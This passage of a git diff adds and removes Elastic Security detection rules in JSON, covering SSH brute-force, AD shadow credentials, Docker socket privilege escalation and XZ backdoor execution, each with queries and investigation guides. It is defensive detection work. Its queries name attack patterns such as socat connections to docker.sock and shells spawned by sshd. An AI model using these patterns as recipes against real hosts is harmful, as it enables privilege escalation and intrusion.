the destination IP addresses involved in the connection attempts to identify if they are known malicious hosts or part of a larger attack infrastructure. Use threat intelligence sources to gather more information.\n- Examine the host's recent activity logs to identify any unusual behavior or signs of compromise, such as unexpected process executions or changes in system configurations.\n- Investigate the specific agent.id associated with the alert to determine if other alerts or suspicious activities have been reported from the same host, indicating a broader compromise.\n- Check for any recent changes or updates to the host's software or configurations that could have introduced vulnerabilities exploited by the malware.\n- Assess the network traffic patterns from the host to identify any other unusual outbound connections that may indicate additional malicious activity or data exfiltration attempts.\n\n### False positive analysis\n\n- High-volume legitimate SSH operations from a single process can trigger alerts. Exclude known safe processes or scripts that perform frequent SSH operations by adding them to an exception list.\n- Automated backup or synchronization tools using SSH to connect to external servers may be misidentified. Identify these tools and exclude their process names or IP addresses from the detection rule.\n- Development or testing environments where SSH connections are frequently initiated to external systems for legitimate purposes can cause false positives. Document these environments and adjust the rule to exclude their specific IP ranges or process identifiers.\n- Security scanning tools that perform SSH checks on external systems might be flagged. Ensure these tools are recognized and their activities are excluded by specifying their process names or IP addresses in the rule exceptions.\n\n### Response and remediation\n\n- Isolate the affected Linux host from the network immediately to prevent further unauthorized access attempts and potential spread of malware to other systems.\n- Terminate the suspicious process identified by the detection rule to stop ongoing brute-force attempts and reduce the risk of further compromise.\n- Conduct a thorough malware scan on the isolated host using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious software.\n- Review and reset credentials for any accounts that may have been targeted or compromised during the brute-force attempts to ensure account security.\n- Apply security patches and updates to the affected host and any other vulnerable systems to mitigate known vulnerabilities that could be exploited by similar threats.\n- Monitor network traffic for any signs of continued or new suspicious activity, particularly focusing on outbound SSH connections, to detect and respond to any further attempts promptly.\n- Escalate the incident to the security operations center (SOC) or relevant security team for further investigation and to assess the potential impact on the broader network infrastructure.\n", - "query": "from logs-endpoint.events.network-*\n| keep @timestamp, host.os.type, event.type, event.action, destination.port, process.executable, destination.ip, agent.id, host.name\n| where @timestamp > now() - 1 hours\n| where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"connection_attempted\" and\n destination.port in (22, 222, 2222, 10022, 2022, 2200, 62612, 8022) and not\n CIDR_MATCH(\n destination.ip, \"10.0.0.0/8\", \"127.0.0.0/8\", \"169.254.0.0/16\", \"172.16.0.0/12\", \"192.0.0.0/24\", \"192.0.0.0/29\", \"192.0.0.8/32\", \"192.0.0.9/32\",\n \"192.0.0.10/32\", \"192.0.0.170/32\", \"192.0.0.171/32\", \"192.0.2.0/24\", \"192.31.196.0/24\", \"192.52.193.0/24\", \"192.168.0.0/16\", \"192.88.99.0/24\",\n \"224.0.0.0/4\", \"100.64.0.0/10\", \"192.175.48.0/24\",\"198.18.0.0/15\", \"198.51.100.0/24\", \"203.0.113.0/24\", \"224.0.0.0/4\", \"240.0.0.0/4\", \"::1\",\n \"FE80::/10\", \"FF00::/8\"\n )\n| stats cc = count(), agent_count = count_distinct(agent.id), host.name = VALUES(host.name), agent.id = VALUES(agent.id) by process.executable, destination.port\n| where agent_count == 1 and cc > 15\n| sort cc asc\n| limit 100\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "risk_score": 47, - "rule_id": "77122db4-5876-4127-b91b-6c179eb21f88", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Impact", - "Tactic: Execution", - "Tactic: Command and Control", - "Data Source: Elastic Defend", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0040", - "name": "Impact", - "reference": "https://attack.mitre.org/tactics/TA0040/" - }, - "technique": [ - { - "id": "T1496", - "name": "Resource Hijacking", - "reference": "https://attack.mitre.org/techniques/T1496/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.004", - "name": "Unix Shell", - "reference": "https://attack.mitre.org/techniques/T1059/004/" - } - ] - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0011", - "name": "Command and Control", - "reference": "https://attack.mitre.org/tactics/TA0011/" - }, - "technique": [ - { - "id": "T1071", - "name": "Application Layer Protocol", - "reference": "https://attack.mitre.org/techniques/T1071/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 4 - }, - "id": "77122db4-5876-4127-b91b-6c179eb21f88_4", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/79f97b31-480e-4e63-a7f4-ede42bf2c6de_217.json b/packages/security_detection_engine/kibana/security_rule/79f97b31-480e-4e63-a7f4-ede42bf2c6de_217.json new file mode 100644 index 00000000000..8f54ceecb18 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/79f97b31-480e-4e63-a7f4-ede42bf2c6de_217.json @@ -0,0 +1,101 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identify the modification of the msDS-KeyCredentialLink attribute in an Active Directory Computer or User Object. Attackers can abuse control over the object and create a key pair, append to raw public key in the attribute, and obtain persistent and stealthy access to the target user or computer object.", + "false_positives": [ + "Modifications in the msDS-KeyCredentialLink attribute can be done legitimately by the Azure AD Connect synchronization account or the ADFS service account. These accounts can be added as Exceptions." + ], + "from": "now-9m", + "index": [ + "winlogbeat-*", + "logs-system.security*", + "logs-windows.forwarded*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Potential Shadow Credentials added to AD Object", + "note": "## Triage and analysis\n\n### Investigating Potential Shadow Credentials added to AD Object\n\nThe msDS-KeyCredentialLink is an Active Directory (AD) attribute that links cryptographic certificates to a user or computer for domain authentication.\n\nAttackers with write privileges on this attribute over an object can abuse it to gain access to the object or maintain persistence. This means they can authenticate and perform actions on behalf of the exploited identity, and they can use Shadow Credentials to request Ticket Granting Tickets (TGTs) on behalf of the identity.\n\n#### Possible investigation steps\n\n- Identify whether Windows Hello for Business (WHfB) and/or Azure AD is used in the environment.\n - Review the event ID 4624 for logon events involving the subject identity (`winlog.event_data.SubjectUserName`).\n - Check whether the `source.ip` is the server running Azure AD Connect.\n- Contact the account and system owners and confirm whether they are aware of this activity.\n- Investigate other alerts associated with the user/host during the past 48 hours.\n- Review the event IDs 4768 and 4769 for suspicious ticket requests involving the modified identity (`winlog.event_data.ObjectDN`).\n - Extract the source IP addresses from these events and use them as indicators of compromise (IoCs) to investigate whether the host is compromised and to scope the attacker's access to the environment.\n\n### False positive analysis\n\n- Administrators might use custom accounts on Azure AD Connect. If this is the case, make sure the account is properly secured. You can also create an exception for the account if expected activity makes too much noise in your environment.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.\n - Remove the Shadow Credentials from the object.\n- Investigate how the attacker escalated privileges and identify systems they used to conduct lateral movement. Use this information to determine ways the attacker could regain access to the environment.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "event.code:\"5136\" and host.os.type:\"windows\" and winlog.event_data.AttributeLDAPDisplayName:\"msDS-KeyCredentialLink\" and\n winlog.event_data.AttributeValue :B\\:828* and\n not winlog.event_data.SubjectUserName: MSOL_*\n", + "references": [ + "https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab", + "https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials", + "https://github.com/OTRF/Set-AuditRule", + "https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.AttributeLDAPDisplayName", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.AttributeValue", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.SubjectUserName", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "79f97b31-480e-4e63-a7f4-ede42bf2c6de", + "setup": "## Setup\n\nThe 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure).\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nPolicies >\nWindows Settings >\nSecurity Settings >\nAdvanced Audit Policies Configuration >\nAudit Policies >\nDS Access >\nAudit Directory Service Changes (Success,Failure)\n```\n\nThe above policy does not cover User objects, so we need to set up an AuditRule using https://github.com/OTRF/Set-AuditRule.\nAs this specifies the msDS-KeyCredentialLink Attribute GUID, it is expected to be low noise.\n\n```\nSet-AuditRule -AdObjectPath 'AD:\\CN=Users,DC=Domain,DC=com' -WellKnownSidType WorldSid -Rights WriteProperty -InheritanceFlags Children -AttributeGUID 5b47d60f-6090-40b2-9f37-2a4de88f3063 -AuditFlags Success\n```\n", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Data Source: Active Directory", + "Resources: Investigation Guide", + "Use Case: Active Directory Monitoring", + "Data Source: Windows Security Event Logs" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1556", + "name": "Modify Authentication Process", + "reference": "https://attack.mitre.org/techniques/T1556/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 217 + }, + "id": "79f97b31-480e-4e63-a7f4-ede42bf2c6de_217", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/7acb2de3-8465-472a-8d9c-ccd7b73d0ed8_7.json b/packages/security_detection_engine/kibana/security_rule/7acb2de3-8465-472a-8d9c-ccd7b73d0ed8_7.json deleted file mode 100644 index ef9dfb3e072..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/7acb2de3-8465-472a-8d9c-ccd7b73d0ed8_7.json +++ /dev/null @@ -1,98 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule monitors for the usage of Docker runtime sockets to escalate privileges on Linux systems. Docker sockets by default are only be writable by the root user and docker group. Attackers that have permissions to write to these sockets may be able to create and run a container that allows them to escalate privileges and gain further access onto the host file system.", - "from": "now-9m", - "index": [ - "logs-endpoint.events.process*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "Potential Privilege Escalation through Writable Docker Socket", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Privilege Escalation through Writable Docker Socket\n\nDocker sockets facilitate communication between the Docker client and daemon, typically restricted to root or specific groups. Adversaries with write access can exploit these sockets to execute containers with elevated privileges, potentially accessing the host system. The detection rule identifies suspicious activities by monitoring processes like Docker and Socat for unauthorized socket interactions, focusing on non-root users attempting to execute commands, thus flagging potential privilege escalation attempts.\n\n### Possible investigation steps\n\n- Review the alert details to identify the specific process name (either \"docker\" or \"socat\") and the associated arguments that triggered the alert, focusing on the use of \"unix://*/docker.sock\" or \"unix://*/dockershim.sock\".\n- Check the user and group IDs associated with the process to confirm they are non-root, as indicated by the exclusion of user.Ext.real.id and group.Ext.real.id being \"0\".\n- Investigate the user account involved in the alert to determine if they should have access to Docker sockets and whether their permissions have been misconfigured or compromised.\n- Examine the system logs and Docker daemon logs for any additional context or anomalies around the time of the alert to identify any unauthorized or suspicious activities.\n- Assess the current state of the system for any unauthorized containers that may have been started, and inspect their configurations and running processes for signs of privilege escalation attempts.\n- Verify the integrity and permissions of the Docker socket files to ensure they have not been altered to allow unauthorized access.\n\n### False positive analysis\n\n- Legitimate administrative tasks by non-root users with elevated permissions can trigger the rule. To manage this, identify trusted users or groups who regularly perform such tasks and create exceptions for their activities.\n- Automated scripts or services that require Docker socket access for legitimate operations may be flagged. Review these scripts or services and whitelist their specific process names or arguments to prevent false positives.\n- Development environments where developers frequently use Docker for testing might cause alerts. Consider creating a separate monitoring policy for development environments or exclude known development user accounts from this rule.\n- Continuous integration/continuous deployment (CI/CD) pipelines that interact with Docker sockets can be mistakenly identified as threats. Ensure that these pipelines are running under specific service accounts and exclude these accounts from the rule.\n\n### Response and remediation\n\n- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement.\n- Terminate any unauthorized Docker containers that were started by non-root users, especially those interacting with Docker sockets.\n- Review and revoke any unnecessary write permissions to Docker sockets for non-root users and groups, ensuring only trusted users have access.\n- Conduct a thorough audit of user accounts and group memberships on the affected system to identify and remove any unauthorized or suspicious accounts.\n- Restore the system from a known good backup if unauthorized changes or access to sensitive data are detected.\n- Implement monitoring and alerting for any future unauthorized access attempts to Docker sockets, focusing on non-root user activities.\n- Escalate the incident to the security operations team for further investigation and to assess potential impacts on other systems within the network.", - "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and\n(\n (process.name == \"docker\" and process.args : \"run\" and process.args : \"-it\" and\n process.args : (\"unix://*/docker.sock\", \"unix://*/dockershim.sock\")) or\n (process.name == \"socat\" and process.args : (\"UNIX-CONNECT:*/docker.sock\", \"UNIX-CONNECT:*/dockershim.sock\"))\n) and not user.Ext.real.id : \"0\" and not group.Ext.real.id : \"0\"\n", - "references": [ - "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#automatic-enumeration-and-escape" - ], - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": false, - "name": "group.Ext.real.id", - "type": "unknown" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - }, - { - "ecs": false, - "name": "user.Ext.real.id", - "type": "unknown" - } - ], - "risk_score": 47, - "rule_id": "7acb2de3-8465-472a-8d9c-ccd7b73d0ed8", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Privilege Escalation", - "Domain: Container", - "Data Source: Elastic Defend", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0004", - "name": "Privilege Escalation", - "reference": "https://attack.mitre.org/tactics/TA0004/" - }, - "technique": [ - { - "id": "T1611", - "name": "Escape to Host", - "reference": "https://attack.mitre.org/techniques/T1611/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 7 - }, - "id": "7acb2de3-8465-472a-8d9c-ccd7b73d0ed8_7", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/7afc6cc9-8800-4c7f-be6b-b688d2dea248_9.json b/packages/security_detection_engine/kibana/security_rule/7afc6cc9-8800-4c7f-be6b-b688d2dea248_9.json new file mode 100644 index 00000000000..5206c187333 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/7afc6cc9-8800-4c7f-be6b-b688d2dea248_9.json @@ -0,0 +1,175 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "It identifies potential malicious shell executions through remote SSH and detects cases where the sshd service suddenly terminates soon after successful execution, suggesting suspicious behavior similar to the XZ backdoor.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.network*", + "logs-endpoint.events.process*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Potential Execution via XZBackdoor", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Execution via XZBackdoor\n\nThe XZBackdoor leverages SSH, a secure protocol for remote access, to execute malicious commands stealthily. Adversaries exploit SSH by initiating sessions that mimic legitimate activity, then abruptly terminate them post-execution to evade detection. The detection rule identifies anomalies by tracking SSH processes that start and end unexpectedly, especially when non-standard executables are invoked, signaling potential backdoor activity.\n\n### Possible investigation steps\n\n- Review the SSH session logs on the affected host to identify any unusual or unauthorized access attempts, focusing on sessions that match the process.pid and process.entity_id from the alert.\n- Examine the command history and executed commands for the user associated with the user.id in the alert to identify any suspicious or unexpected activities.\n- Investigate the non-standard executables invoked by the SSH session by checking the process.executable field to determine if they are legitimate or potentially malicious.\n- Analyze the network activity associated with the SSH session, particularly any disconnect_received events, to identify any unusual patterns or connections to suspicious IP addresses.\n- Check the exit codes of the SSH processes, especially those with a non-zero process.exit_code, to understand the reason for the abrupt termination and whether it aligns with typical error codes or indicates malicious activity.\n\n### False positive analysis\n\n- Legitimate administrative SSH sessions may trigger the rule if they involve non-standard executables. To manage this, create exceptions for known administrative scripts or tools that are frequently used in your environment.\n- Automated processes or scripts that use SSH for routine tasks might mimic the behavior of the XZBackdoor. Identify these processes and exclude them by specifying their executable paths or command-line patterns in the rule exceptions.\n- Security tools or monitoring solutions that perform SSH-based checks could be mistaken for malicious activity. Review these tools and add their signatures to the exclusion list to prevent false alerts.\n- Custom applications that use SSH for communication might be flagged. Document these applications and adjust the rule to recognize their specific execution patterns as non-threatening.\n- Temporary network issues causing abrupt SSH session terminations could be misinterpreted as suspicious behavior. Monitor network stability and consider excluding known transient disconnections from triggering alerts.\n\n### Response and remediation\n\n- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement.\n- Terminate any suspicious SSH sessions identified by the detection rule to stop ongoing malicious activity.\n- Conduct a thorough review of the affected host's SSH configuration and logs to identify unauthorized changes or access patterns.\n- Reset credentials for any user accounts involved in the suspicious SSH activity to prevent further unauthorized access.\n- Restore the affected system from a known good backup if any unauthorized changes or malware are detected.\n- Implement network segmentation to limit SSH access to critical systems and reduce the attack surface.\n- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems are compromised.", + "query": "sequence by host.id with maxspan=1m\n [process where host.os.type == \"linux\" and event.action == \"end\" and process.name == \"sshd\" and process.exit_code != 0] by process.entity_id\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and\n process.parent.name == \"sshd\" and process.parent.args == \"-D\" and process.parent.args == \"-R\" and\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.args == \"-c\" and\n not (\n process.args like (\"rsync*\", \"systemctl*\", \"/usr/sbin/unix_chkpwd\", \"/usr/bin/google_authorized_keys\", \"/usr/sbin/aad_certhandler*\") or\n process.command_line like (\"sh -c /usr/bin/env -i PATH=*\", \"sh -c -- /usr/bin/env -i PATH=*\") \n )] by process.parent.entity_id\n", + "references": [ + "https://github.com/amlweems/xzbot", + "https://access.redhat.com/security/cve/CVE-2024-3094", + "https://www.elastic.co/security-labs/500ms-to-midnight" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.exit_code", + "type": "long" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "7afc6cc9-8800-4c7f-be6b-b688d2dea248", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Tactic: Persistence", + "Tactic: Lateral Movement", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1543", + "name": "Create or Modify System Process", + "reference": "https://attack.mitre.org/techniques/T1543/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1556", + "name": "Modify Authentication Process", + "reference": "https://attack.mitre.org/techniques/T1556/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0008", + "name": "Lateral Movement", + "reference": "https://attack.mitre.org/tactics/TA0008/" + }, + "technique": [ + { + "id": "T1021", + "name": "Remote Services", + "reference": "https://attack.mitre.org/techniques/T1021/", + "subtechnique": [ + { + "id": "T1021.004", + "name": "SSH", + "reference": "https://attack.mitre.org/techniques/T1021/004/" + } + ] + }, + { + "id": "T1563", + "name": "Remote Service Session Hijacking", + "reference": "https://attack.mitre.org/techniques/T1563/", + "subtechnique": [ + { + "id": "T1563.001", + "name": "SSH Hijacking", + "reference": "https://attack.mitre.org/techniques/T1563/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 9 + }, + "id": "7afc6cc9-8800-4c7f-be6b-b688d2dea248_9", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/7b3da11a-60a2-412e-8aa7-011e1eb9ed47_210.json b/packages/security_detection_engine/kibana/security_rule/7b3da11a-60a2-412e-8aa7-011e1eb9ed47_210.json new file mode 100644 index 00000000000..907b69eee64 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/7b3da11a-60a2-412e-8aa7-011e1eb9ed47_210.json @@ -0,0 +1,94 @@ +{ + "attributes": { + "author": [ + "Austin Songer" + ], + "description": "Identifies when an ElastiCache security group has been created. Amazon EC2-Classic and ElastiCache CacheSecurityGroups have been retired. Modern ElastiCache deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on \"AWS EC2 Security Group Configuration Change\" rule for network-control changes impacting ElastiCache in VPC-based deployments.", + "false_positives": [ + "A ElastiCache security group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group creations by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "from": "now-60m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "interval": "10m", + "language": "kuery", + "license": "Elastic License v2", + "name": "Deprecated - AWS ElastiCache Security Group Created", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Deprecated - AWS ElastiCache Security Group Created\n\nAWS ElastiCache security groups control access to cache clusters, ensuring only authorized traffic can interact with them. Adversaries might create new security groups to bypass existing restrictions, facilitating unauthorized access or data exfiltration. The detection rule monitors for successful creation events of these groups, signaling potential defense evasion tactics by identifying unusual or unauthorized configurations.\n\n### Possible investigation steps\n\n- Review the CloudTrail logs for the specific event.action \"Create Cache Security Group\" to identify the user or role that initiated the creation of the ElastiCache security group.\n- Examine the event.provider field to confirm that the event is associated with elasticache.amazonaws.com, ensuring the alert is relevant to ElastiCache services.\n- Check the event.outcome field to verify that the security group creation was successful, confirming the alert's validity.\n- Investigate the IAM permissions and roles associated with the user or entity that created the security group to determine if they have legitimate access and reasons for this action.\n- Analyze the configuration of the newly created ElastiCache security group to identify any overly permissive rules or unusual configurations that could indicate malicious intent.\n- Correlate this event with other recent activities in the AWS account, such as changes to IAM policies or unusual login attempts, to assess if this is part of a broader attack pattern.\n\n### False positive analysis\n\n- Routine administrative actions by authorized personnel can trigger this rule. Regularly review and document legitimate security group creation activities to differentiate them from suspicious actions.\n- Automated processes or scripts that create security groups as part of normal operations may cause false positives. Identify and whitelist these processes to prevent unnecessary alerts.\n- Infrastructure as Code (IaC) tools like Terraform or CloudFormation might create security groups during deployments. Ensure these tools and their actions are well-documented and consider excluding their known patterns from triggering alerts.\n- Development and testing environments often involve frequent creation and deletion of resources, including security groups. Establish separate monitoring rules or exceptions for these environments to reduce noise.\n- Scheduled maintenance or updates that involve security group modifications should be communicated to the security team in advance, allowing them to temporarily adjust monitoring rules or expectations.\n\n### Response and remediation\n\n- Immediately review the newly created ElastiCache security group to verify its necessity and ensure it aligns with organizational security policies. If unauthorized, proceed to delete the security group to prevent potential misuse.\n- Conduct a thorough audit of recent IAM activity to identify any unauthorized access or privilege escalation that may have led to the creation of the security group. Pay special attention to any anomalies in user behavior or access patterns.\n- Isolate any affected ElastiCache instances by temporarily restricting access to them until a full assessment is completed. This helps prevent any potential data exfiltration or unauthorized access.\n- Notify the security operations team and relevant stakeholders about the incident for further investigation and to ensure awareness across the organization.\n- Implement additional monitoring on the AWS account to detect any further unauthorized changes to security groups or other critical configurations, enhancing the detection capabilities for similar threats.\n- Review and update IAM policies and permissions to ensure the principle of least privilege is enforced, reducing the risk of unauthorized security group creation in the future.\n- If the incident is confirmed as malicious, escalate to the incident response team for a comprehensive investigation and to determine if further actions, such as legal or regulatory reporting, are necessary.", + "query": "event.dataset:aws.cloudtrail and event.provider:elasticache.amazonaws.com and event.action:\"Create Cache Security Group\" and\nevent.outcome:success\n", + "references": [ + "https://docs.aws.amazon.com/AmazonElastiCache/latest/APIReference/API_CreateCacheSecurityGroup.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": 